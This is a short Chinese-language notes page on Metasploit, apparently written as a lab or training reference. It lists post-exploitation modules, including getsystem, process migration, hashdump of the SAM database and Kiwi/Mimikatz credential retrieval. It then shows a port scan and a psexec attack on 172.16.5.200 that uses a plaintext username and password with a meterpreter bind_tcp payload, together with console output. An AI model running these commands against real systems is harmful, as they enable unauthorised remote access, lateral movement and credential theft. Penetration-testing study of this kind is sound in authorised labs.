

【滲透】Metasploit

- 產生payload
- 提權
 - getsystem
- 修改進程ID
 - ps
 - migrate {pid}
 - getgid
- 其他模組
 - hashdump: 轉儲 SAM 數據庫的內容
 - screenshare: 實時顯示目標機器的桌面
 - Kiwi: 供了 Mimikatz 的功能，可以檢索具有足夠權限的系統的憑證
- 掃描網路
- portforwarding
-

- ```
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.5.200
set PORTS 445,3389
run
```

```
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
```

```
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.5.200
RHOSTS => 172.16.5.200
```

```
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389
PORTS => 445,3389
```

```
msf6 auxiliary(scanner/portscan/tcp) > run
```

```
[+] 172.16.5.200: - 172.16.5.200:445 - TCP OPEN
[+] 172.16.5.200: - 172.16.5.200:3389 - TCP OPEN
[*] 172.16.5.200: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
use exploit/windows/smb/psexec
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!"
set RHOSTS 172.16.5.200
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8000
```

```
msf6 auxiliary(scanner/portscan/tcp) > use
exploit/windows/smb/psexec
[*] No payload configured, defaulting to
windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/psexec) > set SMBUser luiza
SMBUser => luiza

msf6 exploit(windows/smb/psexec) > set SMBPass
"BoccieDearAeroMeow1!"
SMBPass => BoccieDearAeroMeow1!

msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.5.200
RHOSTS => 172.16.5.200

msf6 exploit(windows/smb/psexec) > set payload
windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp

msf6 exploit(windows/smb/psexec) > set LPORT 8000
LPORT => 8000
```

---

🕒 修訂版本 #2

★ 由 treeman 建立於 27 🕒🕒🕒 2024 11:51:52

✍ 由 treeman 更新於 8 🕒G🕒🕒 2024 09:52:05